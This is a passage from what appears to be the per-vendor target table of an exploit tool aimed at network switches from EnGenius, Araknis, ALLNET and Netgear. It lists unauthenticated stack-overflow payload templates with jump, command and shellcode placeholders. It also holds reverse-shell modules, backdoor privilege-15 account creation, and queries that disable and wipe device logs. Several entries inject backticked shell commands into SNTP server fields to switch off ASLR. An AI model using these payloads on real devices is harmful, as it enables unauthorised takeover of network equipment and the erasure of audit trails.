'sys_timeSettings_set_cmd_enable':'&sntpStatus=1',
'sys_timeSettings_set_cmd_disable':'&sntpStatus=0',
'sys_timeSettings_set_SIGSEGV': True,
'workaround':False,
'verify_uri':'/tmp/check',
'vulnerable': True,
'safe': True
},
'heack_cgi_shell': {
'description':'Stack overflow in "username/password" (PoC: reverse shell)',
'authenticated': False,
'login_uri':'/cgi/set.cgi?cmd=home_loginAuth',
'logout_uri':'/cgi/set.cgi?cmd=home_logout',
'query':'{"_ds=1&username=_ALIGN_USRNOP_SHELLCODE&password=_PWDNOP_RA_START&_de=1":{}}',
'stack':True,
'workaround':False,
'vulnerable': True,
'safe': True
},
},
},
'EnGenius': {
'vendor': 'EnGenius Technologies, Inc.',
'modulus_uri':'',
'info_leak':True,
'info_leak_JSON':False,
'info_leak_uri':'/loginMsg.js',
'xsid':False,
'xsid_uri':'',
'login': {
'description':'Login/Logout on remote device',
'authenticated': True,
'json':True,
'encryption':'',
'login_uri':'',
'query':'',
'status_uri':'',
'logout_uri':'',
'vulnerable': False,
'safe': True
},
'login': {
'description':'Login/Logout on remote device',
'authenticated': True,
'json':True,
'encryption':'',
'login_uri':'',
'query':'',
'status_uri':'',
'logout_uri':'',
'vulnerable': False,
'safe': True
},
'log':{
'description':'Disable and clean logs',
'authenticated': True,
'json':True,
'disable_uri':'',
'disable_query':'',
'status':'',
'clean_logfile_uri':'',
'clean_logfile_query':'',
'clean_logmem_uri':'',
'clean_logmem_query':'',
'vulnerable': False,
'safe': True
},
'verify': {
'security.cgi': {
'description':'Stack overflow in "username/password" (PoC: crash CGI)',
'authenticated': False,
'response':'502',
'Content-Type':False,
'uri':'/cgi-bin/security.cgi?login',
'content':'usr=admin&pswrd=' + self.random_string(280),
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
},
'datajson.cgi': {
'description':'Stack overflow in "username/password" (PoC: crash CGI)',
'authenticated': False,
'response':'502',
'Content-Type':False,
'uri':'/cgi-bin/datajson.cgi?login',
'content':'usr=admin&pswrd=' + self.random_string(288),
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
},
},
'exploit': {
'heack_hydra_shell': {
'description':'[Boa/Hydra] Stack overflow in Boa/Hydra web server (PoC: reverse shell)',
'authenticated': False,
'uri':'/cgi-bin/sn_httpupload.cgi?',
'vulnerable': True,
'safe': False
},
'priv15_account': {
'description':'Upload/Update running-config (PoC: add priv 15 credentials)',
'authenticated': False,
'json':True,
'encryption':'',
'content':'',
'add_uri':'',
'del_query':'',
'del_uri':'',
'vulnerable': False,
'safe': True
},
'sntp': {
'description':'SNTP command injection (PoC: disable ASLR)',
'json':True,
'authenticated': True,
'enable_uri':'/cgi/set.cgi?cmd=sys_timeSettings',
'enable_query':'{"_ds=1&sntpStatus=1&_de=1":{}}',
'status_uri':'/cgi/get.cgi?cmd=sys_timeSettings',
'inject_uri':'/cgi/set.cgi?cmd=sys_timeSntp',
'inject_query':'{"_ds=1&srvDef=byIp&sntpServer=`echo 0 > /proc/sys/kernel/randomize_va_space`&cursntpPort=123&_de=1":{}}',
'check_query':'{"_ds=1&srvDef=byIp&sntpServer=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&cursntpPort=123&_de=1":{}}',
'delete_uri':'/cgi/set.cgi?cmd=sys_timeSntpDel',
'delete_query':'{"":{}}',
'disable_uri':'/cgi/set.cgi?cmd=sys_timeSettings',
'disable_query':'{"_ds=1&sntpStatus=0&_de=1":{}}',
'verify_uri':'/tmp/check',
'vulnerable': False,
'safe': True
},
'stack_cgi_add_account': {
'description':'Stack overflow in "username/password" (PoC: add priv 15 credentials)',
'authenticated': False,
'uri':'/cgi-bin/datajson.cgi?login',
'content':'usr='+ self.random_string(324)+ '_JUMP_&pswrd='+ self.random_string(284) +'_CMD_',
'workaround':False,
'vulnerable': True,
'safe': True
},
'stack_cgi_del_account': {
'description':'Stack overflow in "username/password" (PoC: del priv 15 credentials)',
'authenticated': False,
'uri':'/cgi-bin/datajson.cgi?login',
'content':'usr='+ self.random_string(324)+ '_JUMP_&pswrd='+ self.random_string(284) +'_CMD_',
'workaround':False,
'vulnerable': True,
'safe': True
},
'stack_cgi_diag': {
'description':'Stack overflow in "username/password" (PoC: Disable ASLR)',
'authenticated': False,
'uri':'/cgi-bin/datajson.cgi?login',
'content':'usr='+ self.random_string(324)+ '_JUMP_&pswrd='+ self.random_string(284) +'_CMD_',
'sys_ping_post_SIGSEGV': True,
'workaround':False,
'vulnerable': True,
'safe': True
},
'stack_cgi_log': {
'description':'Stack overflow in "username/password" (PoC: Disable/Clean logs)',
'authenticated': False,
'uri':'/cgi-bin/datajson.cgi?login',
'content':'usr='+ self.random_string(324)+ '_JUMP_&pswrd='+ self.random_string(284) +'_CMD_',
'log_settings_set_cmd':'&en=0',
'log_settings_set_SIGSEGV':True,
'log_ramClear_cmd':'&ta=0',
'log_ramClear_SIGSEGV':True,
'log_fileClear_cmd':'&ta=1',
'log_fileClear_SIGSEGV':True,
'workaround':False,
'verify_uri':'',
'vulnerable': True,
'safe': True
},
'stack_cgi_sntp': {
'description':'Stack overflow in "username/password" (PoC: Disable ASLR)',
'authenticated': False,
'uri':'/cgi-bin/datajson.cgi?login',
'content':'usr='+ self.random_string(324)+ '_JUMP_&pswrd='+ self.random_string(284) +'_CMD_',
'sys_timeSntp_set_cmd':'&sa=`echo 0 > /proc/sys/kernel/randomize_va_space`&sp=123',
'sys_timeSntp_set_check':'&sa=`cat /proc/sys/kernel/randomize_va_space > /tmp/conf_tmp/check`&sp=123',
'sys_timeSntpDel_set_cmd':'&sa=+&sp=123',
'sys_timeSettings_set_cmd_enable':'&sn=1',
'sys_timeSettings_set_cmd_disable':'&sn=0',
'sys_timeSettings_set_SIGSEGV': True,
'workaround':False,
'verify_uri':'/conf_tmp/check',
'vulnerable': True,
'safe': True
},
'heack_cgi_shell': {
'description':'Stack overflow in "username/password" (PoC: reverse shell)',
'authenticated': False,
'login_uri':'/cgi-bin/security.cgi?login',
'logout_uri':'/cgi-bin/security.cgi?logout',
'query':'build=NOP&heap=NOP&to=NOP&higher=addresses&usr=admin&pswrd=_PWDNOP_RA_START&shellcode=_USRNOP_SHELLCODE',
'workaround':False,
'vulnerable': True,
'safe': True
},
},
},
'Araknis': {
'vendor': 'Araknis Networks',
'modulus_uri':'',
'info_leak':True,
'info_leak_JSON':False,
'info_leak_uri':'/loginMsg.js',
'xsid':False,
'xsid_uri':'',
'login': {
'description':'Login/Logout on remote device',
'authenticated': True,
'json':True,
'encryption':'',
'login_uri':'',
'query':'',
'status_uri':'',
'logout_uri':'',
'vulnerable': False,
'safe': True
},
'login': {
'description':'Login/Logout on remote device',
'authenticated': True,
'json':True,
'encryption':'',
'login_uri':'',
'query':'',
'status_uri':'',
'logout_uri':'',
'vulnerable': False,
'safe': True
},
'log':{
'description':'Disable and clean logs',
'authenticated': True,
'json':True,
'disable_uri':'',
'disable_query':'',
'status':'',
'clean_logfile_uri':'',
'clean_logfile_query':'',
'clean_logmem_uri':'',
'clean_logmem_query':'',
'vulnerable': False,
'safe': True
},
'verify': {
'security.cgi': {
'description':'Stack overflow in "username/password" (PoC: crash CGI)',
'authenticated': False,
'response':'502',
'Content-Type':False,
'uri':'/cgi-bin/security.cgi?login',
'content':'usr=admin&pswrd=' + self.random_string(280),
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
},
'datajson.cgi': {
'description':'Stack overflow in "username/password" (PoC: crash CGI)',
'authenticated': False,
'response':'502',
'Content-Type':False,
'uri':'/cgi-bin/datajson.cgi?login',
'content':'usr=admin&pswrd=' + self.random_string(288),
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
},
},
'exploit': {
'heack_hydra_shell': {
'description':'[Boa/Hydra] Stack overflow in Boa/Hydra web server (PoC: reverse shell)',
'authenticated': False,
'uri':'/cgi-bin/sn_httpupload.cgi?',
'vulnerable': True,
'safe': False
},
'priv15_account': {
'description':'Upload/Update running-config (PoC: add priv 15 credentials)',
'authenticated': False,
'json':True,
'encryption':'',
'content':'',
'add_uri':'',
'del_query':'',
'del_uri':'',
'vulnerable': False,
'safe': True
},
'sntp': {
'description':'SNTP command injection (PoC: disable ASLR)',
'json':True,
'authenticated': True,
'enable_uri':'/cgi/set.cgi?cmd=sys_timeSettings',
'enable_query':'{"_ds=1&sntpStatus=1&_de=1":{}}',
'status_uri':'/cgi/get.cgi?cmd=sys_timeSettings',
'inject_uri':'/cgi/set.cgi?cmd=sys_timeSntp',
'inject_query':'{"_ds=1&srvDef=byIp&sntpServer=`echo 0 > /proc/sys/kernel/randomize_va_space`&cursntpPort=123&_de=1":{}}',
'check_query':'{"_ds=1&srvDef=byIp&sntpServer=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&cursntpPort=123&_de=1":{}}',
'delete_uri':'/cgi/set.cgi?cmd=sys_timeSntpDel',
'delete_query':'{"":{}}',
'disable_uri':'/cgi/set.cgi?cmd=sys_timeSettings',
'disable_query':'{"_ds=1&sntpStatus=0&_de=1":{}}',
'verify_uri':'/tmp/check',
'vulnerable': False,
'safe': True
},
'stack_cgi_add_account': {
'description':'Stack overflow in "username/password" (PoC: add priv 15 credentials)',
'authenticated': False,
'uri':'/cgi-bin/datajson.cgi?login',
'content':'usr='+ self.random_string(324)+ '_JUMP_&pswrd='+ self.random_string(284) +'_CMD_',
'workaround':False,
'vulnerable': True,
'safe': True
},
'stack_cgi_del_account': {
'description':'Stack overflow in "username/password" (PoC: del priv 15 credentials)',
'authenticated': False,
'uri':'/cgi-bin/datajson.cgi?login',
'content':'usr='+ self.random_string(324)+ '_JUMP_&pswrd='+ self.random_string(284) +'_CMD_',
'workaround':False,
'vulnerable': True,
'safe': True
},
'stack_cgi_diag': {
'description':'Stack overflow in "username/password" (PoC: Disable ASLR)',
'authenticated': False,
'uri':'/cgi-bin/datajson.cgi?login',
'content':'usr='+ self.random_string(324)+ '_JUMP_&pswrd='+ self.random_string(284) +'_CMD_',
'sys_ping_post_SIGSEGV': True,
'workaround':False,
'vulnerable': True,
'safe': True
},
'stack_cgi_log': {
'description':'Stack overflow in "username/password" (PoC: Disable/Clean logs)',
'authenticated': False,
'uri':'/cgi-bin/datajson.cgi?login',
'content':'usr='+ self.random_string(324)+ '_JUMP_&pswrd='+ self.random_string(284) +'_CMD_',
'log_settings_set_cmd':'&en=0',
'log_settings_set_SIGSEGV':True,
'log_ramClear_cmd':'&ta=0',
'log_ramClear_SIGSEGV':True,
'log_fileClear_cmd':'&ta=1',
'log_fileClear_SIGSEGV':True,
'workaround':False,
'verify_uri':'',
'vulnerable': True,
'safe': True
},
'stack_cgi_sntp': {
'description':'Stack overflow in "username/password" (PoC: Disable ASLR)',
'authenticated': False,
'uri':'/cgi-bin/datajson.cgi?login',
'content':'usr='+ self.random_string(324)+ '_JUMP_&pswrd='+ self.random_string(284) +'_CMD_',
'sys_timeSntp_set_cmd':'&sa=`echo 0 > /proc/sys/kernel/randomize_va_space`&sp=123',
'sys_timeSntp_set_check':'&sa=`cat /proc/sys/kernel/randomize_va_space > /tmp/conf_tmp/check`&sp=123',
'sys_timeSntpDel_set_cmd':'&sa=+&sp=123',
'sys_timeSettings_set_cmd_enable':'&sn=1',
'sys_timeSettings_set_cmd_disable':'&sn=0',
'sys_timeSettings_set_SIGSEGV': True,
'workaround':False,
'verify_uri':'/conf_tmp/check',
'vulnerable': True,
'safe': True
},
'heack_cgi_shell': {
'description':'Stack overflow in "username/password" (PoC: reverse shell)',
'authenticated': False,
'login_uri':'/cgi-bin/security.cgi?login',
'logout_uri':'/cgi-bin/security.cgi?logout',
'query':'build=NOP&heap=NOP&to=NOP&higher=addresses&usr=admin&pswrd=_PWDNOP_RA_START&shellcode=_USRNOP_SHELLCODE',
'stack':False,
'workaround':False,
'vulnerable': True,
'safe': True
},
},
},
'ALLNET_JSON': {
'vendor': 'ALLNET GmbH Computersysteme',
'model':'ALL-SG82xx',
'uri':'https://www.allnet.de/',
'modulus_uri':'/cgi/get.cgi?cmd=home_login',
'info_leak':False,
'info_leak_JSON':True,
'info_leak_uri':'/cgi/get.cgi?cmd=home_login',
'xsid':False,
'xsid_uri':'/cgi/get.cgi?cmd=home_main',
'login': {
'description':'Login/Logout on remote device',
'authenticated': True,
'json':True,
'encryption':'rsa',
'login_uri':'/cgi/set.cgi?cmd=home_loginAuth',
'query':'{"_ds=1&username=USERNAME&password=PASSWORD&_de=1":{}}',
'status_uri':'/cgi/get.cgi?cmd=home_loginStatus',
'logout_uri':'/cgi/set.cgi?cmd=home_logout',
'vulnerable': True,
'safe': True
},
'log':{
'description':'Disable and clean logs',
'authenticated': True,
'json':True,
'disable_uri':'/cgi/set.cgi?cmd=log_global',
'disable_query':'{"_ds=1&empty=1&_de=1":{}}',
'status':'/cgi/get.cgi?cmd=log_global',
'clean_logfile_uri':'/cgi/set.cgi?cmd=log_clear',
'clean_logfile_query':'{"_ds=1&target=1&_de=1":{}}',
'clean_logmem_uri':'/cgi/set.cgi?cmd=log_clear',
'clean_logmem_query':'{"_ds=1&target=0&_de=1":{}}',
'vulnerable': True,
'safe': True
},
'verify': {
'httpuploadruncfg.cgi':{
'authenticated': False,
'response':'file',
'Content-Type':True,
'description':'Upload/update "running-config" (PoC: Create invalid file to verify)',
'uri':'/cgi/httpuploadruncfg.cgi',
'check_uri':'/tmp/http_saverun_cfg',
'content':'/var/config/running-config',
'content_check':'/var/config/running-config',
'vulnerable': True,
'safe': True
},
'httprestorecfg.cgi':{
'authenticated': False,
'response':'file',
'Content-Type':True,
'description':'Upload "startup-config" (PoC: Create invalid file to verify)',
'uri':'/cgi/httprestorecfg.cgi',
'check_uri':'/tmp/startup-config',
'content':'/mnt/startup-config',
'content_check':'/mnt/startup-config',
'vulnerable': True,
'safe': True
},
'httpupload.cgi':{
'authenticated': False,
'response':'file',
'Content-Type':True,
'description':'Upload/Upgrade "Firmware" (PoC: Create invalid file to verify)',
'uri':'/cgi-bin/httpupload.cgi',
'check_uri':'/tmp/http_uploadfail',
'content':'Copy: Illegal software format',
'content_check':'Copy: Illegal software format',
'vulnerable': True,
'safe': True
},
'login.cgi': {
'description':'Stack overflow in login.cgi (PoC: create file /tmp/VUL.TXT)',
'authenticated': False,
'response':'file',
'Content-Type':False,
'uri':'/cgi/set.cgi?cmd=home_loginAuth',
'check_uri':'/tmp/VUL.TXT',
'content':'{"_ds=1&username='+ self.random_string(40) +'&password='+ '/' * 23 +'/tmp/VUL.TXT&_de=1":{}}',
'content_check':'2',
'vulnerable': True,
'safe': True
},
'set.cgi': {
'description':'Stack overflow in "username/password" (PoC: crash CGI)',
'authenticated': False,
'response':'502',
'Content-Type':False,
'uri':'/cgi/set.cgi?cmd=home_loginAuth',
'content':'{"_ds=1&username=admin&password=' + self.random_string(312) + '&_de=1":{}}',
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
},
},
'exploit': {
'heack_hydra_shell': {
'description':'[Boa/Hydra] Stack overflow in Boa/Hydra web server (PoC: reverse shell)',
'authenticated': False,
'uri':'/cgi-bin/httpupload.cgi?XXX',
'vulnerable': True,
'safe': False
},
'priv15_account': {
'description':'Upload/Update running-config (PoC: add priv 15 credentials)',
'authenticated': False,
'json':True,
'encryption':'clear',
'content':'Content-Type\n\nSYSTEM CONFIG FILE ::= BEGIN\nusername "USERNAME" password PASSWORD\n\n------',
'add_uri':'/cgi/httpuploadruncfg.cgi',
'del_query':'{"_ds=1&user=USERNAME&_de=1":{}}',
'del_uri':'/cgi/set.cgi?cmd=sys_acctDel',
'vulnerable': True,
'safe': True
},
'sntp': {
'description':'SNTP command injection (PoC: disable ASLR)',
'json':True,
'authenticated': True,
'enable_uri':'/cgi/set.cgi?cmd=sys_time',
'enable_query':'{"_ds=1&sntp=1&_de=1":{}}',
'status_uri':'/cgi/get.cgi?cmd=sys_time',
'inject_uri':'/cgi/set.cgi?cmd=sys_time',
'inject_query':'{"_ds=1&sntp=1&srvDef=ipv4&srvHost=`echo 0 > /proc/sys/kernel/randomize_va_space`&port=139&_de=1":{}}',
'check_query':'{"_ds=1&sntp=1&srvDef=ipv4&srvHost=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&port=139&_de=1":{}}',
'delete_uri':'/cgi/set.cgi?cmd=sys_time',
'delete_query':'{"_ds=1&sntp=1&timezone=0&srvDef=ipv4&srvHost=+&port=0&dlsType=0&_de=1":{}}',
'disable_uri':'/cgi/set.cgi?cmd=sys_time',
'disable_query':'{"_ds=1&sntp=0&_de=1":{}}',
'verify_uri':'/tmp/check',
'vulnerable': True,
'safe': True
},
'stack_cgi_diag': {
'vulnerable': False,
},
'stack_cgi_log': {
'description':'Stack overflow in "username/password" (PoC: Disable/Clean logs)',
'authenticated': False,
'uri':'/cgi/set.cgi?cmd=home_loginAuth',
'content':'{"_ds=1&username='+ self.random_string(348)+ '_JUMP_&password='+ self.random_string(308) +'_CMD_&_de=1":{}}',
'log_settings_set_cmd':'&empty=1',
'log_settings_set_SIGSEGV':True,
'log_ramClear_cmd':'&target=0',
'log_ramClear_SIGSEGV':True,
'log_fileClear_cmd':'&target=1',
'log_fileClear_SIGSEGV':True,
'workaround':False,
'verify_uri':'',
'vulnerable': True,
'safe': True
},
'stack_cgi_sntp': {
'description':'Stack overflow in "username/password" (PoC: Disable ASLR)',
'authenticated': False,
'uri':'/cgi/set.cgi?cmd=home_loginAuth',
'content':'{"_ds=1&username='+ self.random_string(348)+ '_JUMP_&password='+ self.random_string(308) +'_CMD_&_de=1":{}}',
'sys_timeSntp_set_cmd':'&sntp=1&srvDef=ipv4&srvHost=`echo 0 > /proc/sys/kernel/randomize_va_space`&port=139',
'sys_timeSntp_set_check':'&sntp=1&srvDef=ipv4&srvHost=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&port=139',
'sys_timeSntpDel_set_cmd':'&sntp=1&srvDef=ipv4&srvHost=+&port=139',
'sys_timeSettings_set_cmd_enable':'&sntp=1',
'sys_timeSettings_set_cmd_disable':'&sntp=0',
'sys_timeSettings_set_SIGSEGV': True,
'workaround':False,
'verify_uri':'/tmp/check',
'vulnerable': False,
'safe': True
},
'heack_cgi_shell': {
'description':'Stack overflow in "username/password" (PoC: reverse shell)',
'authenticated': False,
'login_uri':'/cgi/set.cgi?cmd=home_loginAuth',
'logout_uri':'/cgi/set.cgi?cmd=home_logout',
'query':'{"_ds=1&username=_ALIGN_USRNOP_SHELLCODE&password=_PWDNOP_RA_START&_de=1":{}}',
'stack':True,
'workaround':False,
'vulnerable': True,
'safe': True
},
},
},
'ALLNET': {
'vendor': 'ALLNET GmbH Computersysteme',
'uri':'https://www.allnet.de/',
'modulus_uri':'',
'info_leak':False,
'info_leak_JSON':False,
'info_leak_uri':'',
'xsid':False,
'xsid_uri':'',
'login': {
'description':'Login/Logout on remote device',
'authenticated': True,
'json':False,
'encryption':'clear',
'login_uri':'/cgi-bin/dispatcher.cgi?cmd=1',
'query':'username=USERNAME&password=PASSWORD&login=1',
'status_uri':'/cgi-bin/dispatcher.cgi?cmd=547',
'logout_uri':'/cgi-bin/dispatcher.cgi?cmd=3',
'vulnerable': True,
'safe': True
},
'log':{
'description':'Disable and clean logs',
'authenticated': True,
'json':False,
'disable_uri':'/cgi-bin/dispatcher.cgi',
'disable_query':'LOGGING_SERVICE=0&cmd=4353',
'status':'/cgi-bin/dispatcher.cgi?cmd=4352',
'clean_logfile_uri':'/cgi-bin/dispatcher.cgi',
'clean_logfile_query':'cmd_4364=Clear+file+messages',
'clean_logmem_uri':'/cgi-bin/dispatcher.cgi',
'clean_logmem_query':'cmd_4364=Clear+buffered+messages',
'vulnerable': True,
'safe': True
},
'verify': {
'httpuploadbakcfg.cgi':{
'authenticated': False,
'response':'html',
'Content-Type':True,
'description':'Upload "backup-config" (PoC: Create invalid file to verify)',
'uri':'/cgi-bin/httpuploadbakcfg.cgi',
'check_uri':'',
'content':'dummy',
'content_check':' Invalid config file!!',
'vulnerable': True,
'safe': True
},
'httpuploadruncfg.cgi':{
'authenticated': False,
'response':'html',
'Content-Type':True,
'description':'Upload/update "running-config" (PoC: Create invalid file to verify)',
'uri':'/cgi-bin/httpuploadruncfg.cgi',
'check_uri':'',
'content':'dummy',
'content_check':' Invalid config file!!',
'vulnerable': True,
'safe': True
},
'httprestorecfg.cgi':{
'authenticated': False,
'response':'html',
'Content-Type':True,
'description':'Upload "startup-config" (PoC: Create invalid file to verify)',
'uri':'/cgi-bin/httprestorecfg.cgi',
'check_uri':'',
'content':'dummy',
'content_check':' Invalid config file!!',
'vulnerable': True,
'safe': True
},
'httpupload.cgi':{
'authenticated': False,
'response':'html',
'Content-Type':True,
'description':'Upload/Upgrade "Firmware" (PoC: Create invalid file to verify)',
'uri':'/cgi-bin/httpupload.cgi',
'check_uri':'',
'content':'dummy',
'content_check':'Image Signature Error',
'vulnerable': True,
'safe': True
},
'dispatcher.cgi': {
'description':'Stack overflow in "username/password" (PoC: crash CGI)',
'response':'502',
'Content-Type':False,
'authenticated': False,
'uri':'/cgi-bin/dispatcher.cgi?cmd=1',
'content':'username=admin&password='+ self.random_string(184) + '&login=1',
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
},
'httpuploadfirmware.cgi':{
'authenticated': False,
'response':'html',
'Content-Type':True,
'description':'Upload/Upgrade "Firmware" (PoC: Create invalid file to verify)',
'uri':'/cgi-bin/httpuploadfirmware.cgi',
'check_uri':'',
'content':'dummy',
'content_check':'Image Signature Error',
'vulnerable': True,
'safe': True
},
'httpupload_runstart_cfg.cgi':{
'authenticated': False,
'response':'file',
'Content-Type':True,
'description':'Upload/update "running-config" (PoC: Create invalid file to verify)',
'uri':'/cgi-bin/httpupload_runstart_cfg.cgi',
'check_uri':'/tmp/startup-config',
'content':'/tmp/startup-config',
'content_check':'/tmp/startup-config',
'vulnerable': True,
'safe': True
},
'version_upgrade.cgi':{
'authenticated': False,
'response':'html',
'Content-Type':True,
'description':'Upload/Upgrade "Firmware" (Frontend to "httpuploadfirmware.cgi")',
'uri':'/cgi-bin/version_upgrade.cgi',
'check_uri':'',
'content':'Firm Upgrade',
'content_check':'Firm Upgrade',
'vulnerable': True,
'safe': True
},
'factory_reset.cgi':{
'authenticated': False,
'response':'html',
'Content-Type':True,
'description':'Reset device to factory default (PoC: Too dangerous to verify)',
'uri':'/cgi-bin/factory_reset.cgi',
'check_uri':'',
'content':'Too dangerous to verify',
'content_check':'dummy',
'vulnerable': True,
'safe': False
},
'sysinfo_config.cgi':{
'authenticated': False,
'response':'html',
'Content-Type':False,
'description':'System basic information configuration (Frontend to "change_mac_addr_set.cgi")',
'uri':'/cgi-bin/sysinfo_config.cgi',
'check_uri':'',
'content':'dummy',
'content_check':'"/cgi-bin/change_mac_addr_set',
'vulnerable': True,
'safe': True
},
'change_mac_addr_set.cgi': {
'description':'Stack overflow in "switch_type/sys_hardver" (PoC: crash CGI)',
'response':'502',
'Content-Type':False,
'authenticated': False,
'uri':'/cgi-bin/change_mac_addr_set.cgi',
'content':'switch_type='+ self.random_string(116) +'&sys_hardver=31337&sys_macaddr=DE:AD:BE:EF:13:37&sys_serialnumber=DE:AD:BE:EF:13:37&password=tgnetadmin',
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
},
},
'exploit': {
'heack_hydra_shell': {
'description':'[Boa/Hydra] Stack overflow in Boa/Hydra web server (PoC: reverse shell)',
'authenticated': False,
'uri':'/cgi-bin/httpupload.cgi?XXX',
'vulnerable': True,
'safe': False
},
'priv15_account': {
'description':'Upload/Update running-config (PoC: add priv 15 credentials)',
'json':False,
'authenticated': False,
'encryption':'clear',
'content':'Content-Type\n\nSYSTEM CONFIG FILE ::= BEGIN\nusername "USERNAME" password PASSWORD\n\n------',
'add_uri':'/cgi-bin/httpuploadruncfg.cgi',
'del_query':'',
'del_uri':'/cgi-bin/dispatcher.cgi?cmd=524&usrName=USERNAME',
'vulnerable': True,
'safe': True
},
'sntp': {
'description':'SNTP command injection (PoC: disable ASLR)',
'json':False,
'authenticated': True,
'enable_uri':'/cgi-bin/dispatcher.cgi',
'enable_query':'sntp_enable=1&cmd=548',
'status_uri':'cmd=547',
'inject_uri':'/cgi-bin/dispatcher.cgi',
'inject_query':'sntp_Server=`echo 0 > /proc/sys/kernel/randomize_va_space`&sntp_Port=123&cmd=550',
'check_query':'sntp_Server=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&sntp_Port=123&cmd=550',
'delete_uri':'/cgi-bin/dispatcher.cgi',
'delete_query':'sntp_Server=+&sntp_Port=123&cmd=550',
'disable_uri':'/cgi-bin/dispatcher.cgi',
'disable_query':'sntp_enable=0&cmd=548',
'verify_uri':'/tmp/check',
'vulnerable': True,
'safe': True
},
'stack_cgi_diag': {
'vulnerable': False,
},
'stack_cgi_log': {
'description':'Stack overflow in "username/password" (PoC: Disable/Clean logs)',
'authenticated': False,
'uri':'/cgi-bin/dispatcher.cgi?cmd=1',
'content':'username='+ self.random_string(112) +'_JUMP_&password='+ self.random_string(80) +'_CMD_&login=1',
'log_settings_set_cmd':'&LOGGING_SERVICE=0',
'log_settings_set_SIGSEGV':True,
'log_ramClear_cmd':'',
'log_ramClear_SIGSEGV':False,
'log_fileClear_cmd':'',
'log_fileClear_SIGSEGV':False,
'workaround':False,
'verify_uri':'/tmp/check',
'vulnerable': True,
'safe': True
},
'stack_cgi_sntp': {
'description':'Stack overflow in "username/password" (PoC: Disable ASLR)',
'authenticated': False,
'uri':'/cgi-bin/dispatcher.cgi?cmd=1',
'content':'username='+ self.random_string(112) +'_JUMP_&password='+ self.random_string(80) +'_CMD_&login=1',
'sys_timeSntp_set_cmd':'&sntp_Server=`echo 0 > /proc/sys/kernel/randomize_va_space`&sntp_Port=123',
'sys_timeSntp_set_check':'&sntp_Server=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&sntp_Port=123',
'sys_timeSntpDel_set_cmd':'&sntp_Server=+&sntp_Port=123',
'sys_timeSettings_set_cmd_enable':'&sntp_enable=1',
'sys_timeSettings_set_cmd_disable':'&sntp_enable=0',
'sys_timeSettings_set_SIGSEGV': False,
'workaround':True,
'verify_uri':'/tmp/check',
'vulnerable': True,
'safe': True
},
'heack_cgi_shell': {
'description':'Stack overflow in "username/password" (PoC: reverse shell)',
'authenticated': False,
'login_uri':'/cgi-bin/dispatcher.cgi?cmd=1',
'logout_uri':'/cgi-bin/dispatcher.cgi?cmd=3',
'query':'username=_ALIGN_USRNOP_SHELLCODE&password=_PWDNOP_RA_START&login=1',
'workaround':False,
'stack':True,
'vulnerable': True,
'safe': True
},
},
},
'Netgear': {
'vendor': 'NETGEAR Inc.',
'modulus_uri':'/cgi/get.cgi?cmd=home_login',
'info_leak':True,
'info_leak_JSON':True,
'info_leak_uri':'/cgi/get.cgi?cmd=home_login',
'xsid':False,
'xsid_uri':'/cgi/get.cgi?cmd=home_main',
'login': {
'description':'Login/Logout on remote device',
'authenticated': True,
'json':True,
'encryption':'rsa',
'login_uri':'/cgi/set.cgi?cmd=home_loginAuth',
'query':'{"_ds=1&username=USERNAME&password=PASSWORD&_de=1":{}}',
'status_uri':'/cgi/get.cgi?cmd=home_loginStatus',
'logout_uri':'/cgi/set.cgi?cmd=home_logout',
'vulnerable': False,
'safe': True
},
'log':{
'description':'Disable and clean logs',
'authenticated': True,
'json':True,
'disable_uri':'/cgi/set.cgi?cmd=log_settings',
'disable_query':'{"_ds=1&ram_sev_0=on&ram_sev_1=on&ram_sev_2=on&ram_sev_3=on&ram_sev_4=on&ram_sev_5=on&ram_sev_6=on&_de=1":{}}',
'status':'/cgi/get.cgi?cmd=log_settings',
'clean_logfile_uri':'/cgi/set.cgi?cmd=log_fileClear',
'clean_logfile_query':'{"":{}}',
'clean_logmem_uri':'/cgi/set.cgi?cmd=log_ramClear',
'clean_logmem_query':'{"":{}}',
'vulnerable': False,
'safe': True
},
'verify': {
'set.cgi': {
'description':'Stack overflow in "username/password" (PoC: crash CGI)',
'authenticated': False,
'response':'502',
'Content-Type':False,
'uri':'/cgi/set.cgi?cmd=home_loginAuth',
'content':'{"_ds=1&username=admin&password=' + self.random_string(312) + '&_de=1":{}}',
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
},
},
'exploit': {
'heack_hydra_shell': {
'description':'[Boa/Hydra] Stack overflow in Boa/Hydra web server (PoC: reverse shell)',
'authenticated': False,
'uri':'/cgi-bin/httpupload.cgi?XXX',
'vulnerable': True,
'safe': True
},
'priv15_account': {
'description':'Upload/Update running-config (PoC: add priv 15 credentials)',
'authenticated': False,
'json':True,
'encryption':'md5',
'content':'Content-Type\n\nconfig-file-header\nusername "USERNAME" secret encrypted PASSWORD\n\n------',
'add_uri':'/cgi/httpuploadruncfg.cgi',
'del_query':'{"_ds=1&user=USERNAME&_de=1":{}}',
'del_uri':'/cgi/set.cgi?cmd=aaa_userDel',
'vulnerable': False,
'safe': True
},
'sntp': {
'description':'SNTP command injection (PoC: disable ASLR)',
'json':True,
'authenticated': True,
'enable_uri':'/cgi/set.cgi?cmd=sys_timeSettings',
'enable_query':'{"_ds=1&sntpStatus=1&_de=1":{}}',
'status_uri':'/cgi/get.cgi?cmd=sys_timeSettings',
'inject_uri':'/cgi/set.cgi?cmd=sys_timeSntp',
'inject_query':'{"_ds=1&srvDef=byIp&sntpServer=`echo 0 > /proc/sys/kernel/randomize_va_space`&cursntpPort=123&_de=1":{}}',
'check_query':'{"_ds=1&srvDef=byIp&sntpServer=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&cursntpPort=123&_de=1":{}}',
'delete_uri':'/cgi/set.cgi?cmd=sys_timeSntpDel',
'delete_query':'{"":{}}',
